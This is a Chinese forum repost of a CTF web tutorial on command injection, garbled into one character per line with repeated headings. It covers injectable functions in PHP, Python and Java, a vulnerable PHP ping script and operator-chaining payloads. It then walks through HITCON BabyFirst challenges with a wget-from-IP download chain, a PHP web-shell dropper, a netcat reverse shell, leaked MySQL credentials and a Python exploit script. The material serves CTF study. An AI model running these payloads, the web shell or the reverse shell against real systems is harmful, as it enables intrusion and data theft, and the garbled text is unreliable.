论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
代码执行
[21101] 2020-06-23_CTF-web--命令注入
文档创建者:
s7ckTeam
浏览次数:
4
最后更新:
2025-01-18
代码执行
4 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2020-06-23_CTF-web--命令注入
C
T
F
-
w
e
b
-
-
命
令
注
入
L
e
m
o
n
S
e
c
2
0
2
0
-
0
6
-
2
3
大
佬
总
结
的
文
章
,
本
篇
文
章
阅
读
时
间
大
约
3
0
分
钟
。
一
一
、
基
本
原
理
、
基
本
原
理
命
令
注
入
指
的
是
,
利
用
没
有
验
证
过
的
恶
意
命
令
或
代
码
,
对
网
站
或
服
务
器
进
行
渗
透
攻
击
。
命
令
注
入
指
的
是
,
利
用
没
有
验
证
过
的
恶
意
命
令
或
代
码
,
对
网
站
或
服
务
器
进
行
渗
透
攻
击
。
注
入
有
很
多
种
,
并
不
仅
仅
只
有
S
Q
L
注
入
。
比
如
:
这
种
题
目
又
哪
些
常
见
的
,
一
个
是
我
们
常
用
的
文
件
包
含
,
我
们
是
可
以
使
用
s
y
s
t
e
m
等
函
数
的
,
或
者
是
p
h
p
函
数
,
应
该
也
属
于
命
令
注
入
的
范
畴
。
s
q
l
注
入
在
我
看
来
也
是
输
入
命
令
注
入
的
范
畴
的
,
让
数
据
库
执
行
我
们
的
恶
意
代
码
但
是
本
章
节
主
要
讲
的
和
例
题
涉
及
的
,
实
际
上
是
执
行
命
令
的
一
些
t
r
i
c
k
,
例
如
在
l
i
n
u
x
系
统
的
命
令
的
分
段
,
命
令
的
一
些
特
殊
用
法
,
关
于
文
件
包
含
,
s
q
l
注
入
等
的
我
们
前
面
也
有
专
题
了
,
这
里
就
不
会
涉
及
多
少
。
二
:
漏
洞
代
码
审
计
二
:
漏
洞
代
码
审
计
p
h
p
、
j
a
v
a
、
p
y
t
h
o
n
中
常
见
的
可
以
进
行
命
令
注
入
或
者
代
码
注
入
的
函
数
:
命
令
注
入
(
C
o
m
m
a
n
d
I
n
j
e
c
t
i
o
n
)
E
v
a
l
注
入
(
E
v
a
l
I
n
j
e
c
t
i
o
n
)
客
户
端
脚
本
攻
击
(
S
c
r
i
p
t
I
n
s
e
r
t
i
o
n
)
跨
网
站
脚
本
攻
击
(
C
r
o
s
s
S
i
t
e
S
c
r
i
p
t
i
n
g
,
X
S
S
)
S
Q
L
注
入
攻
击
(
S
Q
L
i
n
j
e
c
t
i
o
n
)
动
态
函
数
注
入
攻
击
(
D
y
n
a
m
i
c
V
a
r
i
a
b
l
e
E
v
a
l
u
a
t
i
o
n
)
序
列
化
注
入
&
a
m
p
;
对
象
注
入
类
似
于
?
u
r
l
=
p
h
p
:
/
/
i
n
p
u
t
p
o
s
t
d
a
t
a
=
<
?
p
h
p
s
y
s
t
e
m
(
'
l
s
'
)
;
?
>
(
1
)
在
P
H
P
中
常
用
到
以
下
几
个
函
数
来
执
行
外
部
命
令
:
s
y
s
t
e
m
e
x
e
c
p
a
s
s
t
h
r
u
s
h
e
l
l
_
e
x
e
c
(
2
)
p
y
t
h
o
n
的
:
-
*
-
c
o
m
m
a
n
d
:
s
y
s
t
e
m
p
o
p
e
n
s
u
b
p
r
o
c
e
s
s
.
c
a
l
l
s
p
a
w
n
-
*
-
c
o
d
e
:
m
a
p
f
i
l
t
e
r
r
e
d
u
c
e
.
.
.
所
以
接
下
来
,
要
寻
找
哪
个
文
件
使
用
了
这
几
个
函
数
,
并
进
行
分
析
。
在
代
码
审
计
中
:
我
们
先
对
函
数
名
进
行
搜
索
我
们
对
函
数
名
进
行
搜
索
,
右
键
点
击
w
w
w
目
录
,
在
弹
出
来
的
菜
单
上
选
择
f
i
n
d
i
n
f
o
l
d
e
r
,
这
个
是
查
找
整
个
文
件
夹
的
意
思
,
然
后
我
们
在
下
方
弹
出
的
框
内
输
入
第
一
个
敏
感
函
数
:
s
y
s
t
e
m
,
点
击
F
i
n
d
,
这
时
,
编
辑
器
就
会
查
找
W
W
W
目
录
下
所
有
内
容
里
面
有
s
y
s
t
e
m
的
文
件
。
可
以
看
到
,
在
v
a
r
i
a
b
l
e
s
文
件
里
有
s
y
s
t
e
m
函
数
,
但
它
的
功
能
只
是
让
我
们
自
定
义
网
络
,
对
本
次
试
验
无
意
义
,
因
此
我
们
查
看
下
一
个
函
数
。
用
同
样
的
方
法
搜
索
函
数
:
#
p
y
t
h
o
n
函
数
名
可
以
直
接
作
为
普
通
函
数
的
参
数
的
,
理
论
上
,
如
果
定
义
了
这
样
的
函
数
都
危
险
d
e
f
m
y
r
e
d
u
c
e
(
f
u
n
c
n
a
m
e
,
p
a
r
a
m
)
:
r
e
t
u
r
n
f
u
n
c
n
a
m
e
(
p
a
r
a
m
)
(
3
)
j
a
v
a
的
:
-
*
-
c
o
m
m
a
n
d
:
j
a
v
a
.
l
a
n
g
.
R
u
n
t
i
m
e
.
g
e
t
R
u
n
t
i
m
e
(
)
.
e
x
e
c
(
c
o
m
m
a
n
d
)
_
*
_
c
o
d
e
:
不
太
懂
j
a
v
a
,
这
方
面
的
接
触
实
在
不
多
。
e
x
e
c
e
x
e
c
打
开
文
件
后
可
以
看
到
,
只
有
1
9
到
3
0
行
左
右
为
P
H
P
代
码
,
其
他
均
为
H
T
M
L
,
因
此
核
心
代
码
应
该
为
第
1
9
行
到
3
0
行
,
如
下
这
段
代
码
的
功
能
是
,
使
用
p
i
n
g
命
令
,
p
i
n
g
用
户
输
入
的
i
p
。
接
下
来
大
概
分
析
一
下
这
段
代
码
的
大
意
:
首
先
通
过
i
s
s
e
t
函
数
判
断
是
否
为
P
O
S
T
提
交
过
来
的
值
,
接
下
来
将
P
O
S
T
过
来
的
值
传
递
给
t
a
r
g
e
t
变
量
,
但
是
没
有
经
过
任
何
的
过
滤
,
接
下
来
使
用
i
f
判
断
系
统
是
否
为
w
i
n
d
o
w
s
,
如
果
是
则
给
c
m
d
赋
值
为
p
i
n
g
t
a
r
g
e
t
,
如
果
不
是
则
赋
值
为
p
i
n
g
-
c
3
t
a
r
g
e
t
。
最
后
使
用
s
h
e
l
l
_
e
x
e
c
执
行
c
m
d
。
我
们
从
上
面
的
代
码
中
可
以
得
到
两
点
可
能
产
生
漏
洞
的
地
方
:
P
O
S
T
过
来
的
数
据
,
没
有
经
过
任
何
的
过
滤
。
>
*
使
用
s
h
e
l
l
_
e
x
e
c
函
数
执
行
了
我
们
传
递
过
来
的
P
O
S
T
值
。
这
便
是
漏
洞
所
在
的
地
方
,
我
们
可
以
在
i
p
后
面
添
加
|
符
,
让
它
执
行
完
p
i
n
g
命
令
后
,
继
续
执
行
我
们
在
|
符
号
后
添
加
的
字
符
,
其
中
|
:
是
o
r
的
意
思
,
执
行
完
p
i
n
g
命
令
,
因
为
有
|
的
存
在
,
系
统
就
会
继
续
执
行
后
面
的
命
令
。
三
、
漏
洞
挖
掘
:
三
、
漏
洞
挖
掘
:
1
、
在
请
求
中
出
现
的
位
置
:
(
1
)
P
O
S
T
和
G
E
T
参
数
中
(
2
)
U
R
L
的
f
i
l
e
p
a
t
h
或
者
f
i
l
e
n
a
m
e
中
(
类
似
t
h
i
n
k
p
h
p
的
伪
静
态
,
或
者
p
y
t
h
o
n
的
u
r
l
_
f
o
r
构
造
的
一
类
)
2
、
特
殊
的
O
S
命
令
注
入
经
常
会
出
现
在
的
业
务
位
置
:
1
、
系
统
w
e
b
管
理
界
面
的
系
统
信
息
配
置
点
:
h
o
s
t
n
a
m
e
、
i
p
a
d
d
r
e
s
s
、
n
e
t
m
a
s
k
、
g
a
t
e
w
a
y
、
d
n
s
s
e
r
v
e
r
、
e
m
a
i
l
等
。
2
、
功
能
类
网
站
工
具
:
p
i
n
g
、
t
r
a
c
e
r
t
、
n
s
l
o
o
k
u
p
等
3
、
文
件
查
找
或
者
操
作
功
能
:
f
i
n
d
、
l
o
c
a
t
e
等
4
、
系
统
信
息
查
看
类
功
能
:
c
p
u
i
n
f
o
、
m
e
m
i
n
f
o
等
5
、
关
闭
重
启
类
操
作
、
s
h
u
t
d
o
w
n
、
i
f
c
o
n
f
i
g
u
p
、
r
e
b
o
o
t
、
p
o
w
e
r
o
f
f
等
四
、
常
用
四
、
常
用
p
a
y
l
o
a
d
模
式
:
模
式
:
1
、
|
,
&
,
&
&
,
|
|
等
操
作
2
、
p
a
y
l
o
a
d
(
&
/
‘
“
空
格
等
特
殊
符
号
需
要
时
编
码
)
&
a
m
p
;
l
t
;
?
p
h
p
i
f
(
i
s
s
e
t
(
$
_
P
O
S
T
[
'
s
u
b
m
i
t
'
]
)
)
{
$
t
a
r
g
e
t
=
$
_
P
O
S
T
[
'
t
a
r
g
e
t
'
]
;
i
f
(
s
t
r
i
s
t
r
(
p
h
p
_
u
n
a
m
e
(
'
s
'
)
,
'
W
i
n
d
o
w
s
N
T
'
)
)
{
$
c
m
d
=
'
p
i
n
g
'
.
$
t
a
r
g
e
t
;
}
e
l
s
e
{
$
c
m
d
=
'
p
i
n
g
-
c
3
'
.
$
t
a
r
g
e
t
;
}
$
r
e
s
=
s
h
e
l
l
_
e
x
e
c
&
a
m
p
;
#
4
0
;
$
c
m
d
&
a
m
p
;
#
4
1
;
;
e
c
h
o
"
&
l
t
;
b
r
/
&
g
t
;
&
l
t
;
p
r
e
&
g
t
;
$
c
m
d
r
n
"
.
i
c
o
n
v
(
'
G
B
2
3
1
2
'
,
'
U
T
F
-
8
'
,
$
r
e
s
)
.
"
&
l
t
;
/
p
r
e
&
g
t
;
"
;
}
?
>
&
表
示
先
执
行
C
M
D
1
再
执
行
C
M
D
2
,
这
里
不
考
虑
C
M
D
1
是
否
成
功
。
使
用
C
M
D
1
&
C
M
D
2
&
&
表
示
先
执
行
C
M
D
1
,
成
功
后
再
执
行
C
M
D
,
否
则
不
执
行
C
M
D
2
。
使
用
C
M
D
1
&
&
C
M
D
2
|
|
先
执
行
C
M
D
1
,
C
M
D
1
执
行
成
功
就
不
再
执
行
C
M
D
2
,
C
M
D
1
执
行
失
败
则
执
行
C
M
D
2
。
使
用
C
M
D
1
|
|
C
M
D
2
c
m
d
=
1
2
7
.
0
.
0
.
1
|
w
h
o
a
m
i
c
m
d
=
1
2
7
.
0
.
0
.
1
&
w
h
o
a
m
i
3
、
常
用
的
命
令
4
、
代
码
注
入
:
五
、
防
御
:
五
、
防
御
:
六
、
六
、
C
T
F
例
题
例
题
让
人
吃
惊
的
是
,
做
这
个
题
目
需
要
我
们
有
一
定
的
l
i
n
u
x
基
础
,
感
觉
它
使
用
了
一
些
命
令
的
不
常
见
用
法
。
1
.
B
a
b
y
f
i
r
s
t
大
概
的
意
思
就
是
执
行
u
r
l
传
过
来
的
参
数
,
先
使
用
【
空
格
】
拼
接
后
执
行
,
那
么
我
们
可
以
构
造
参
数
如
下
:
c
m
d
=
1
2
7
.
0
.
0
.
1
&
&
w
h
o
a
m
i
c
m
d
=
`
w
h
o
a
m
i
`
c
m
d
=
'
/
"
|
w
h
o
a
m
i
(
这
里
意
思
是
用
'
/
"
引
号
闭
合
前
面
/
-
>
表
示
或
)
有
回
显
的
:
w
h
o
a
m
i
i
d
(
验
证
类
)
没
有
回
显
的
:
n
s
l
o
o
k
u
p
w
g
e
t
等
看
请
求
、
d
n
s
l
o
g
h
t
t
p
l
o
g
等
(
验
证
类
)
弹
s
h
e
l
l
必
须
的
,
参
考
我
自
己
的
(
h
t
t
p
:
/
/
w
w
w
.
c
n
b
l
o
g
s
.
c
o
m
/
K
e
v
i
n
G
e
o
r
g
e
/
p
/
8
1
2
0
2
2
6
.
h
t
m
l
)
p
h
p
的
:
检
测
p
h
p
i
n
f
o
(
)
;
攻
击
代
码
任
意
。
p
y
t
h
o
n
的
:
i
m
p
o
r
t
t
i
m
e
;
t
i
m
e
.
s
l
e
e
p
(
2
0
)
,
攻
击
代
码
任
意
。
j
a
v
a
的
:
我
是
弱
鸡
想
不
到
啊
。
2
0
1
8
.
8
.
5
补
充
:
$
(
)
会
将
里
面
的
字
符
当
做
命
令
执
行
支
持
使
用
一
定
的
编
码
e
c
h
o
$
(
p
r
i
n
t
(
x
x
x
x
x
x
x
)
)
`
`
反
引
号
中
的
也
会
当
命
令
执
p
i
n
g
‘
w
h
o
a
m
i
’
禁
止
相
关
函
数
过
滤
输
入
制
定
可
输
入
内
容
<
?
p
h
p
h
i
g
h
l
i
g
h
t
_
f
i
l
e
(
_
_
F
I
L
E
_
_
)
;
$
d
i
r
=
'
s
a
n
d
b
o
x
/
'
.
$
_
S
E
R
V
E
R
[
'
R
E
M
O
T
E
_
A
D
D
R
'
]
;
i
f
(
!
f
i
l
e
_
e
x
i
s
t
s
(
$
d
i
r
)
)
m
k
d
i
r
(
$
d
i
r
)
;
c
h
d
i
r
(
$
d
i
r
)
;
$
a
r
g
s
=
$
_
G
E
T
[
'
a
r
g
s
'
]
;
f
o
r
(
$
i
=
0
;
$
i
<
c
o
u
n
t
(
$
a
r
g
s
)
;
$
i
+
+
)
{
i
f
(
!
p
r
e
g
_
m
a
t
c
h
(
'
/
^
w
+
$
/
'
,
$
a
r
g
s
[
$
i
]
)
)
e
x
i
t
(
)
;
}
e
x
e
c
(
"
/
b
i
n
/
o
r
a
n
g
e
"
.
i
m
p
l
o
d
e
(
"
"
,
$
a
r
g
s
)
)
;
?
>
h
t
t
p
:
/
/
l
o
c
a
l
h
o
s
t
/
?
a
r
g
s
[
0
]
=
x
%
0
a
/
/
%
0
a
为
换
行
的
意
思
&
a
r
g
s
[
1
]
=
m
k
d
i
r
&
a
r
g
s
[
2
]
=
o
r
a
n
g
e
%
0
a
/
/
创
建
目
录
&
a
r
g
s
[
3
]
=
c
d
&
a
r
g
s
[
4
]
=
o
r
a
n
g
e
%
0
a
/
/
进
入
目
录
&
a
r
g
s
[
5
]
=
w
g
e
t
&
a
r
g
s
[
6
]
=
8
4
6
4
6
5
2
6
3
%
0
a
/
/
获
取
文
件
h
t
t
p
:
/
/
l
o
c
a
l
h
o
s
t
/
?
a
r
g
s
[
0
]
=
x
%
0
a
&
a
r
g
s
[
1
]
=
t
a
r
&
a
r
g
s
[
2
]
=
c
v
f
&
a
r
g
s
[
3
]
=
a
a
&
a
r
g
s
[
4
]
=
o
r
a
n
g
e
%
0
a
/
/
解
压
文
件
&
a
r
g
s
[
5
]
=
p
h
p
&
a
r
g
s
[
6
]
=
a
a
/
/
运
行
文
件
这
其
中
有
几
个
要
点
(
1
)
发
现
W
G
E
T
仍
然
支
持
通
过
它
的
长
号
码
格
式
来
解
析
I
P
主
机
。
这
意
味
着
我
们
使
用
h
t
t
p
:
/
/
9
2
7
7
5
8
3
6
/
是
可
以
的
(
2
)
寻
找
不
需
要
破
折
号
的
命
令
,
想
到
了
t
a
r
,
如
果
我
们
可
以
将
一
个
非
压
缩
存
档
传
递
给
P
H
P
解
释
器
就
很
完
美
了
2
.
B
a
b
y
F
i
r
s
t
R
e
v
e
n
g
e
进
一
步
的
我
们
换
成
了
另
外
一
种
形
式
,
并
加
强
每
次
只
能
传
输
<
=
5
个
字
符
,
这
时
候
就
又
有
新
的
知
识
可
以
学
习
了
.
首
先
看
一
下
代
码
了
解
一
下
以
下
的
有
关
知
识
,
看
看
是
否
有
思
路
。
(
1
)
l
s
>
a
将
目
录
写
进
a
文
件
l
s
>
>
a
追
加
的
形
式
写
(
注
意
排
序
问
题
,
按
照
顺
序
写
的
)
(
2
)
s
h
e
l
l
中
可
以
使
用
连
接
一
行
中
没
打
完
的
语
句
(
3
)
错
误
语
句
不
会
影
响
下
面
正
确
语
句
的
执
行
综
上
,
我
们
需
要
做
的
就
是
将
命
令
写
进
文
件
,
使
用
来
连
接
不
同
行
,
然
后
执
行
文
件
就
可
以
。
但
是
问
题
出
现
了
,
我
们
控
制
不
了
文
件
的
顺
序
,
使
得
写
入
文
件
时
的
顺
序
不
会
是
按
照
我
们
想
的
顺
序
,
如
果
能
按
照
时
间
排
序
就
很
完
美
了
,
当
然
l
s
-
t
就
是
这
个
功
能
,
我
们
需
要
把
它
写
进
一
个
文
件
里
,
方
便
接
下
来
调
用
。
例
如
想
要
l
s
-
t
>
g
(
我
们
将
这
个
命
令
写
入
文
件
a
)
,
我
们
创
建
了
l
s
,
,
-
t
,
>
g
,
我
们
有
这
四
个
文
件
了
,
调
用
命
令
l
s
>
a
将
目
录
写
进
a
文
件
,
发
现
.
.
.
a
里
面
的
命
令
实
际
是
乱
的
。
那
么
要
求
我
们
不
需
要
考
虑
是
否
存
在
不
可
用
命
令
,
将
创
建
的
文
件
夹
可
以
排
成
我
们
想
要
的
顺
序
,
看
看
大
佬
的
顺
序
是
如
何
弄
的
(
环
境
不
一
样
,
可
能
结
果
不
一
样
)
l
s
>
a
之
后
文
件
内
容
为
&
a
r
g
s
[
6
]
=
a
a
/
/
运
行
文
件
/
/
我
们
的
需
要
是
这
样
的
m
k
d
i
r
e
x
p
l
o
i
t
c
d
e
x
p
l
o
i
t
w
g
e
t
9
2
7
7
5
8
3
6
t
a
r
c
v
f
a
r
c
h
i
v
e
d
e
x
p
l
o
i
t
p
h
p
a
r
c
h
i
v
e
d
/
/
"
e
x
p
l
o
i
t
"
大
概
是
这
么
样
的
:
<
?
p
h
p
f
i
l
e
_
p
u
t
_
c
o
n
t
e
n
t
s
(
'
s
h
e
l
l
.
p
h
p
'
,
'
<
?
p
h
p
h
e
a
d
e
r
(
"
C
o
n
t
e
n
t
-
T
y
p
e
:
t
e
x
t
/
p
l
a
i
n
"
)
;
p
r
i
n
t
s
h
e
l
l
_
e
x
e
c
(
$
_
G
E
T
[
"
c
m
d
"
]
)
;
?
>
'
)
;
?
>
<
?
p
h
p
$
s
a
n
d
b
o
x
=
'
/
w
w
w
/
s
a
n
d
b
o
x
/
'
.
m
d
5
(
"
o
r
a
n
g
e
"
.
$
_
S
E
R
V
E
R
[
'
R
E
M
O
T
E
_
A
D
D
R
'
]
)
;
@
m
k
d
i
r
(
$
s
a
n
d
b
o
x
)
;
@
c
h
d
i
r
(
$
s
a
n
d
b
o
x
)
;
i
f
(
i
s
s
e
t
(
$
_
G
E
T
[
'
c
m
d
'
]
)
&
&
s
t
r
l
e
n
(
$
_
G
E
T
[
'
c
m
d
'
]
)
<
=
5
)
{
@
e
x
e
c
(
$
_
G
E
T
[
'
c
m
d
'
]
)
;
}
e
l
s
e
i
f
(
i
s
s
e
t
(
$
_
G
E
T
[
'
r
e
s
e
t
'
]
)
)
{
@
e
x
e
c
(
'
/
b
i
n
/
r
m
-
r
f
'
.
$
s
a
n
d
b
o
x
)
;
}
h
i
g
h
l
i
g
h
t
_
f
i
l
e
(
_
_
F
I
L
E
_
_
)
;
?
>
e
c
h
o
"
c
h
y
b
e
t
a
"
/
/
这
是
可
以
正
常
使
用
的
-
t
>
q
a
/
/
这
之
前
的
命
令
虽
然
是
错
的
,
但
不
会
影
响
l
s
-
t
>
q
/
/
实
际
输
出
的
命
令
为
l
s
-
t
>
q
>
-
t
>
>
q
>
l
>
s
l
s
>
a
l
s
>
>
a
在
l
s
>
>
a
得
到
的
结
果
为
我
们
看
到
第
四
个
到
第
七
个
组
成
了
l
s
-
t
>
q
,
前
面
的
错
误
指
令
不
用
考
虑
。
接
下
来
的
下
一
个
任
务
,
从
指
定
u
r
l
下
载
文
件
,
将
I
P
转
换
为
1
0
进
制
,
然
后
由
于
l
s
-
t
是
新
文
件
排
在
前
,
我
们
需
要
倒
序
创
建
文
件
(
w
g
e
t
2
0
7
7
1
7
3
*
4
8
)
,
需
要
创
建
的
顺
序
为
接
着
执
行
命
令
,
注
意
文
件
a
是
我
们
第
一
阶
段
时
生
成
的
,
其
中
包
含
命
令
。
运
行
完
后
查
看
新
生
成
的
文
件
q
:
接
下
来
执
行
命
令
就
可
以
下
载
文
件
了
。
接
下
来
,
需
要
不
断
的
进
行
探
索
f
l
a
g
的
所
在
地
。
可
以
按
照
下
述
命
令
来
实
现
命
令
的
执
行
:
找
到
在
一
个
主
目
录
下
有
一
个
r
e
a
d
m
e
.
t
x
t
接
下
去
通
过
替
换
i
n
d
e
x
.
h
t
m
l
的
内
容
。
不
断
地
将
s
q
l
查
询
语
句
写
到
文
件
里
并
访
问
,
最
后
得
到
f
l
a
g
>
*
4
8
>
1
7
3
>
0
7
7
>
2
>
e
t
>
w
g
s
h
a
l
s
-
t
>
q
s
h
q
?
c
m
d
=
r
m
%
2
0
i
*
/
/
删
除
i
n
d
e
x
.
h
t
m
l
?
c
m
d
=
s
h
%
2
0
a
/
/
执
行
文
件
q
,
即
w
g
e
t
新
的
i
n
d
e
x
.
h
t
m
l
?
c
m
d
=
s
h
%
2
0
i
*
/
/
执
行
i
n
d
e
x
.
h
t
m
l
中
的
s
h
e
l
l
命
令
F
l
a
g
i
s
i
n
t
h
e
M
y
S
Q
L
d
a
t
a
b
a
s
e
f
l
4
4
4
4
g
/
S
u
g
Z
X
U
t
g
e
J
5
2
_
B
v
r
m
y
s
q
l
-
u
f
l
4
4
4
4
g
-
p
S
u
g
Z
X
U
t
g
e
J
5
2
_
B
v
r
-
e
"
s
h
o
w
d
a
t
a
b
a
s
e
s
;
"
>
k
k
5
/
/
访
问
:
h
t
t
p
:
/
/
5
2
.
1
9
9
.
2
0
4
.
3
4
/
s
a
n
d
b
o
x
/
对
应
m
d
5
/
k
k
5
,
得
到
:
D
a
t
a
b
a
s
e
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
f
l
4
g
d
b
m
y
s
q
l
-
u
f
l
4
4
4
4
g
-
p
S
u
g
Z
X
U
t
g
e
J
5
2
_
B
v
r
-
e
"
S
E
L
E
C
T
G
R
O
U
P
_
C
O
N
C
A
T
(
t
a
b
l
e
_
n
a
m
e
)
F
R
O
M
I
N
F
O
R
M
A
T
I
O
N
_
S
C
H
E
M
A
.
T
A
B
L
E
S
W
H
E
R
E
T
A
B
L
E
_
S
C
H
E
M
A
=
0
x
6
6
6
c
3
4
6
7
6
4
6
2
"
>
k
k
7
第
二
位
大
佬
的
作
品
大
佬
使
用
的
是
x
x
d
命
令
,
通
过
创
建
命
令
的
a
s
c
i
i
码
将
其
写
入
文
件
中
,
然
后
再
执
行
。
大
佬
采
用
的
方
法
是
几
个
几
个
的
a
s
c
i
i
通
过
>
创
建
文
件
,
然
后
通
过
l
s
>
>
y
将
y
字
符
和
a
s
c
i
i
码
追
加
到
y
文
件
中
,
每
写
进
去
一
个
之
后
就
删
除
a
c
s
i
i
文
件
,
确
保
每
次
只
追
加
y
和
a
s
c
i
i
码
。
然
后
的
关
键
点
是
,
创
建
参
数
文
件
>
-
p
>
-
r
和
目
标
文
件
>
z
,
当
我
们
使
用
x
x
d
*
命
令
是
,
会
将
-
p
-
r
文
件
当
做
参
数
,
y
当
做
源
文
件
z
当
做
目
的
文
件
,
将
y
中
的
可
a
c
s
i
i
反
向
的
数
据
反
向
之
后
持
续
的
输
出
到
z
,
实
现
了
我
们
只
保
留
原
始
a
c
s
i
i
对
应
的
字
符
,
并
去
除
多
余
的
y
的
功
能
。
大
概
的
原
理
如
下
:
例
如
打
印
h
e
l
l
o
(
另
一
种
方
法
直
接
写
命
令
的
字
母
,
最
后
的
文
件
名
用
相
当
于
每
次
带
有
一
个
拼
接
命
令
)
作
者
在
这
个
原
理
的
基
础
上
写
了
一
个
万
能
脚
本
,
通
过
如
下
创
建
一
个
反
弹
s
h
e
l
l
具
体
实
验
中
他
们
使
用
的
脚
本
是
这
个
样
子
的
,
可
以
看
到
使
用
的
原
理
就
是
上
边
讲
的
那
个
,
通
过
不
断
地
字
节
拼
接
完
成
命
令
组
装
,
可
以
执
行
任
意
命
令
,
并
观
察
返
回
值
。
m
y
s
q
l
-
u
f
l
4
4
4
4
g
-
p
S
u
g
Z
X
U
t
g
e
J
5
2
_
B
v
r
-
e
"
S
E
L
E
C
T
G
R
O
U
P
_
C
O
N
C
A
T
(
t
a
b
l
e
_
n
a
m
e
)
F
R
O
M
I
N
F
O
R
M
A
T
I
O
N
_
S
C
H
E
M
A
.
T
A
B
L
E
S
W
H
E
R
E
T
A
B
L
E
_
S
C
H
E
M
A
=
0
x
6
6
6
c
3
4
6
7
6
4
6
2
"
>
k
k
7
/
/
访
问
:
h
t
t
p
:
/
/
5
2
.
1
9
9
.
2
0
4
.
3
4
/
s
a
n
d
b
o
x
/
对
应
m
d
5
/
k
k
7
,
得
到
:
G
R
O
U
P
_
C
O
N
C
A
T
(
t
a
b
l
e
_
n
a
m
e
)
t
h
i
s
_
i
s
_
t
h
e
_
f
l
4
g
m
y
s
q
l
-
u
f
l
4
4
4
4
g
-
p
S
u
g
Z
X
U
t
g
e
J
5
2
_
B
v
r
-
e
"
(
S
E
L
E
C
T
*
F
R
O
M
f
l
4
g
d
b
.
t
h
i
s
_
i
s
_
t
h
e
_
f
l
4
g
"
>
k
k
9
/
/
访
问
:
h
t
t
p
:
/
/
5
2
.
1
9
9
.
2
0
4
.
3
4
/
s
a
n
d
b
o
x
/
对
应
m
d
5
/
k
k
9
,
得
到
:
s
e
c
r
e
t
h
i
t
c
o
n
{
i
d
e
a
_
f
r
o
m
_
p
h
i
t
h
0
n
,
t
h
a
n
k
_
y
o
u
:
)
}
>
4
8
4
5
/
/
a
s
c
i
i
文
件
l
s
>
>
y
/
/
追
加
到
y
r
m
4
*
/
/
删
除
a
s
c
i
i
文
件
>
4
c
4
c
/
/
以
上
的
不
断
重
复
l
s
>
>
y
r
m
4
*
>
4
f
l
s
>
>
y
r
m
4
*
/
/
到
此
为
止
y
中
的
内
容
为
4
8
4
5
.
y
.
4
c
4
c
.
y
.
4
f
.
y
.
这
里
使
用
.
表
示
换
行
>
z
/
/
创
建
目
标
文
件
>
-
p
/
/
创
建
参
数
文
件
>
-
r
/
/
目
录
下
排
序
为
-
p
-
r
y
z
x
x
d
*
/
/
相
当
于
执
行
x
x
d
-
p
-
r
y
z
/
/
将
y
中
的
可
a
c
s
i
i
反
向
的
数
据
反
向
之
后
持
续
的
输
出
到
z
即
为
h
e
l
l
o
中
间
的
没
用
的
都
被
去
除
了
c
a
t
f
l
a
g
.
t
x
t
m
k
f
i
f
o
f
;
n
c
<
h
o
s
t
>
<
p
o
r
t
>
<
f
|
b
a
s
h
>
f
2
>
f
i
m
p
o
r
t
r
e
q
u
e
s
t
s
a
s
r
q
i
m
p
o
r
t
h
a
s
h
l
i
b
a
s
h
i
m
p
o
r
t
b
i
n
a
s
c
i
i
a
s
b
a
u
r
l
=
"
h
t
t
p
:
/
/
5
2
.
1
9
9
.
2
0
4
.
3
4
/
"
i
p
i
f
y
=
"
h
t
t
p
s
:
/
/
a
p
i
.
i
p
i
f
y
.
o
r
g
"
d
e
f
g
e
t
_
i
p
(
)
:
r
=
r
q
.
g
e
t
(
i
p
i
f
y
)
r
e
t
u
r
n
r
.
t
e
x
t
f
o
l
d
e
r
=
h
.
m
d
5
(
b
"
o
r
a
n
g
e
"
+
g
e
t
_
i
p
(
)
.
e
n
c
o
d
e
(
)
)
.
h
e
x
d
i
g
e
s
t
(
)
d
e
f
r
e
s
e
t
(
)
:
r
q
.
g
e
t
(
u
r
l
,
p
a
r
a
m
s
=
{
"
r
e
s
e
t
"
:
1
}
)
d
e
f
c
m
d
(
c
)
:
r
q
.
g
e
t
(
u
r
l
,
p
a
r
a
m
s
=
{
"
c
m
d
"
:
c
}
)
d
e
f
r
e
a
d
(
f
)
:
r
=
r
q
.
g
e
t
(
u
r
l
+
"
s
a
n
d
b
o
x
/
"
+
f
o
l
d
e
r
+
"
/
"
+
f
)
i
f
r
.
s
t
a
t
u
s
_
c
o
d
e
=
=
2
0
0
:
r
e
t
u
r
n
r
.
t
e
x
t
查
找
发
现
目
录
下
一
个
R
E
A
D
M
E
.
t
x
t
文
件
存
有
f
l
a
g
信
息
通
过
脚
本
执
行
以
下
命
令
,
就
可
以
拿
到
f
l
a
g
3
.
B
a
b
y
F
i
r
s
t
R
e
v
e
n
g
e
v
2
题
目
进
一
步
变
难
,
将
字
符
控
制
在
4
个
之
内
对
于
上
边
大
佬
写
的
感
觉
没
有
影
响
,
一
个
一
个
弄
就
好
了
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
未
整
理
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
4
·
命
令
执
行
的
一
些
命
令
执
行
的
一
些
t
r
i
c
k
1
.
>
N
A
M
E
我
们
可
以
创
建
新
的
文
件
r
e
t
u
r
n
r
.
t
e
x
t
d
e
f
l
o
n
g
_
c
m
d
(
c
m
d
_
t
e
x
t
)
:
r
e
s
e
t
(
)
c
m
d
_
b
y
t
e
s
=
c
m
d
_
t
e
x
t
.
e
n
c
o
d
e
(
)
f
o
r
i
i
n
r
a
n
g
e
(
0
,
l
e
n
(
c
m
d
_
b
y
t
e
s
)
,
2
)
:
c
u
r
_
b
y
t
e
s
=
c
m
d
_
b
y
t
e
s
[
i
:
i
+
2
]
p
r
i
n
t
(
"
w
r
i
t
i
n
g
'
{
}
'
"
.
f
o
r
m
a
t
(
c
u
r
_
b
y
t
e
s
.
d
e
c
o
d
e
(
)
)
)
h
e
x
_
c
h
a
r
s
=
b
a
.
h
e
x
l
i
f
y
(
c
u
r
_
b
y
t
e
s
)
.
d
e
c
o
d
e
(
)
c
m
d
(
"
>
"
+
h
e
x
_
c
h
a
r
s
)
c
m
d
(
"
l
s
>
>
y
"
)
c
m
d
(
"
r
m
"
+
h
e
x
_
c
h
a
r
s
[
0
]
+
"
*
"
)
c
m
d
(
